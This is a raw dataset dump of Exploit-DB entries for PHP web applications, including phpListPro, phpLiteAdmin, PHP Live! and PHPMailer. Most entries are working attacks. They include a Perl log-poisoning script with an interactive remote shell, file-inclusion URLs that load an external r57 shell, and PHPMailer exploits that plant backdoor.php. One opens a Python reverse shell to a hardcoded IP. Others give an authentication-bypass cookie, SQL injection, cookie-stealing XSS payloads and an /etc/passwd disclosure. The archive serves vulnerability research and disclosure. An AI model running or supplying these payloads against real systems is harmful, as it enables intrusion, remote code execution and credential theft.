deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1805
Description: phpListPro 2.0.1 - 'Language' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-05-19
Author: [Oo]

Exploit:
#!/usr/bin/perl
#
# Title: phpListPro <= 2.0.1 Remote Command Execution Exploit
# URL: http://www.smartisoft.com/
#
# Info: 
# - arbitrary local inclusion 
# - need magic_quotes_gpc=off
# 
#

use IO::Socket;
use LWP::Simple;

#ripped from rgod

@apache=(
  "/var/log/httpd/access_log%00",
  "/var/log/httpd/error_log%00",
  "/var/log/apache/error.log%00",
  "/var/log/apache/access.log%00",  
  "/apache/logs/error.log%00",
  "/apache/logs/access.log%00",
  "/etc/httpd/logs/acces_log%00",
  "/etc/httpd/logs/acces.log%00",
  "/etc/httpd/logs/error_log%00",
  "/etc/httpd/logs/error.log%00",
  "/var/www/logs/access_log%00",
  "/var/www/logs/access.log%00",
  "/usr/local/apache/logs/access_log%00",
  "/usr/local/apache/logs/access.log%00",
  "/var/log/apache/access_log%00",
  "/var/log/apache/access.log%00",
  "/var/log/access_log%00",
  "/var/www/logs/error_log%00",
  "/www/logs/error.log%00",
  "/usr/local/apache/logs/error_log%00",
  "/usr/local/apache/logs/error.log%00",
  "/var/log/apache/error_log%00",
  "/var/log/apache/error.log%00",
  "/var/log/access_log%00",
  "/var/log/error_log%00",
);

print "[i] phpListPro remote command execution exploit\n";
print "[i] Need magic_quotes_gpc=off\n";
print "[i] Coded by [Oo]\n\n";


if (@ARGV < 3)
{
	print "[*] Usage: phplistpro_exp.pl [host] [path] [apache_path]\n\n";
	print "[*] Apache_Path: \n";
	$i = 0;
	while($apache[$i])
	{
		print "[$i] $apache[$i]\n";
		$i++;
	}
	print "\n[*] Exemple: phplistpro_exp.pl 127.0.0.1 /phplistpro/ 1\n";
	exit();
}

$serv=$ARGV[0];
$path=$ARGV[1];
$type=$ARGV[2];

print "[+] Injecting some code in log files...\n";
#ripped from rgod
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[-] Connecting ... Could not connect to host.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "User-Agent: ".$CODE."\r\n";
print $socket "Host: ".$serv."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);

print "[+] Ok! Now here the shell, type exit to quit\n";
print "[+] If it's not work maybe try another apache_path...\n\n";

print "[shell] ";
$cmd = <STDIN>;

while($cmd !~ "exit")
{
	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[-] Connecting ... Could not connect to host.\n\n";
	
	print $socket "GET ".$path."config.php HTTP/1.1\r\n";
	print $socket "Host: ".$serv."\r\n";
	print $socket "Accept: */*\r\n";
	print $socket "Cookie: Language=/../../../../../../../../../..".$apache[$type].";cmd=$cmd \r\n";
	print $socket "Connection: close\r\n\n";	
	
	while ($answer = <$socket>)
	{
		print $answer;
	}
	
	print "[shell] ";
	$cmd = <STDIN>;	
}

# milw0rm.com [2006-05-19]
Exploit-DB #1769
Description: phpListPro 2.01 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-05-08
Author: Aesthetico

Exploit:
Title: phpListPro <= 2.01 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: SmartISoft
URL: http://smartisoft.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "PHPListPro ©2001-2006 SmartISoft"
-----------------------------------------------------------------

Exploitation:

/config.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/editsite.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/in.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/addsite.php?returnpath=http://mitglied.lycos.de/n0ssy/r57.txt?&cmd=ls

# milw0rm.com [2006-05-08]
Exploit-DB #38228
Description: phpLiteAdmin - 'table' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-15
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/57431/info

phpLiteAdmin is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpLiteAdmin 1.8.x and 1.9.x are vulnerable. 

http://www.example.com/phpliteadmin.php?action=row_view&table=' [ SQLi ]
Exploit-DB #24044
Description: PHPLiteAdmin 1.9.3 - Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2013-01-11
Author: L@usch

Exploit:
# Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
# Google Dork: inurl:phpliteadmin.php (Default PW: admin)
# Date: 01/10/2013
# Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# Vendor Homepage: http://code.google.com/p/phpliteadmin/
# Vendor Status: Informed
# Software Link: http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
# Version: 1.9.3
# Tested on: Windows and Linux

Description:

phpliteadmin.php#1784: 'Creating a New Database' => 
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',

An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.

Proof of Concept:

1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ

2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ

3. Now we run hack.php

Done!

Proof: http://goo.gl/ZqPVL
Exploit-DB #15322
Description: phpLiterAdmin 1.0 RC1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22653
Reference: http://www.htbridge.ch/advisory/authentication_bypass_in_phpliteradmin.html
Product: phpLiterAdmin 
Vendor: phpLiterAdmin  ( http://code.google.com/p/phpliteradmin/ ) 
Vulnerable Version: 1.0 RC1 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Authentication bypass
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
phpLiterAdmin is affected by an authentication bypass vulnerability.
This issue is due to the application failing to properly sanitize user-supplied input during authentication.
Exploitation of this vulnerability would permit unauthorized access to any known account.

Authentication can be bypassed by setting the special crafted cookies:


phpLiterAdmin432=a:2:{s:8:"username"%3bs:5:"admin"%3bs:8:"password"%3bb:1%3b};

Solution: Upgrade to the most recent version
Exploit-DB #30135
Description: PHPLive! 3.2.2 - '/admin/header.php?admin[name]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-01
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/24276/info
  
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.
  
http://www.example.com/phplive/admin/header.php?admin[name]=<script>alert(123);</script>
Exploit-DB #30137
Description: PHPLive! 3.2.2 - '/setup/footer.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-01
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/24276/info
    
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/phplive/setup/footer.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script>
http://www.example.com/phplive/setup/footer.php?PHPLIVE_VERSION=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?nav_line=<script>alert(123);</script>
Exploit-DB #30136
Description: PHPLive! 3.2.2 - '/super/info.php?BASE_URL' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-01
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/24276/info
   
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/phplive/super/info.php?BASE_URL=<script>alert(123);</script>
Exploit-DB #30133
Description: PHPLive! 3.2.2 - 'chat.php?sid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-01
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/24276/info

PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/phplive/chat.php?sid=<script>alert(123);</script>
Exploit-DB #30134
Description: PHPLive! 3.2.2 - 'help.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-01
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/24276/info
 
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.
 
http://www.example.com/phplive/help.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script> http://www.example.com/phplive/help.php?PHPLIVE_VERSION=<script>alert(123);</script>
Exploit-DB #33087
Description: PHPLive! 3.2.2 - 'request.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-16
Author: boom3rang

Exploit:
source: https://www.securityfocus.com/bid/35718/info

PHPLive! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPLive! 3.2.1 and 3.2.2 are vulnerable; other versions may also be affected.

http://www.example.com/phplive/request.php?l=admin&x=1 AND 1=1
Exploit-DB #3875
Description: PHPLojaFacil 0.1.5 - 'path_local' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: GoLd_M

Exploit:
# PHPLojaFacil 0.1.5 (path_local) Remote File Inclusion Vulnerabilities
# D.Script: http://www.crieseuwebsite.com/php/download.php?categoria=E-Commerce&arquivo=24
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/ftp.php?path_local=Shell
# Exploit:[Path]/libs/db.php?path_local=Shell
# Exploit:[Path]/libs/ftp.php?path_local=Shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-08]
Exploit-DB #40968
Description: PHPMailer < 5.2.18 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-12-26
Author: Dawid Golunski

Exploit:
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033

echo '[+] CVE-2016-10033 exploit by opsxcq'

if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi

host=$1

echo '[+] Exploiting '$host

curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'

cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'
Exploit-DB #40970
Description: PHPMailer < 5.2.18 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-12-25
Author: Dawid Golunski

Exploit:
<?php

/*

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

Discovered/Coded by:

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

Full Advisory URL:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html


A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:

09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--


See the full advisory URL for details.

*/


// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "<?php phpinfo(); ?>";

// ------------------


// mail() param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"

$mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");

$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);

if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!\n";
}
    
?>
Exploit-DB #40974
Description: PHPMailer < 5.2.18 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-12-29
Author: anarc0der

Exploit:
"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://localhost:8080'
backdoor = '/backdoor.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)
Exploit-DB #40969
Description: PHPMailer < 5.2.20 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-12-27
Author: Dawid Golunski

Exploit:
#!/usr/bin/python

intro = """
PHPMailer RCE PoC Exploits

PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
+
PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
(the bypass of the first patch for CVE-2016-10033)

Discovered and Coded by:

 Dawid Golunski
 @dawid_golunski
 https://legalhackers.com

"""
usage = """
Usage:

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

PoC Video:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

Disclaimer:
For testing purposes only. Do no harm.

"""

import time
import urllib
import urllib2
import socket
import sys

RW_DIR = "/var/www/html/uploads"

url = 'http://VictimWebServer/contact_form.php' # Set destination URL here

# Choose/uncomment one of the payloads:

# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
#payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php  some"@email.com' % RW_DIR

# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php  some\"@email.com" % RW_DIR

######################################

# PHP code to be saved into the backdoor php file on the target in RW_DIR
RCE_PHP_CODE = "<?php phpinfo(); ?>"

post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE}

# Attack
data = urllib.urlencode(post_fields)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
Exploit-DB #43056
Description: PHPMailer < 5.2.21 - Local File Disclosure
Type: webapps
Platform: php
Date: 2017-10-25
Author: Maciek Krupa

Exploit:
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223

// PoC //

It requires a contact form that sends HTML emails and allows to send a copy to your e-mail

// vulnerable form example //

<?php
require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21
if (isset($_POST['your-name'], $_POST['your-email'], $_POST['your-message'])) {
$mail = new PHPMailer();
$mail->SetFrom($_POST["your-email"], $_POST["your-name"]);
$address = "admin@localhost";
$mail->AddAddress($address, "root");
if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]);
$mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)";
$mail->MsgHTML($_POST["your-message"]);
if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!";
}
?>
<form action="/contact.php" method="post">
<p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p>
<p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p>
<p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p>
<p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span>
<p><input type="submit" value="submit" /></p>

// exploit //

Put <img src="/etc/passwd"> in the message (or other file to disclose).

// python code //

#!/usr/bin/python
import urllib
import urllib2
 
poc = """
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223
"""
 
url = 'http://localhost/contact.php'
email = 'attacker@localhost'
payload = '<img src="/etc/passwd"'
values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
html = response.read()
print html
Exploit-DB #34472
Description: PHPMass Real Estate - 'view_map.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-01
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42452/info

PHPMass Real Estate is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/tools/view_map.php?zipcode="><script>alert(document.cookie);</script>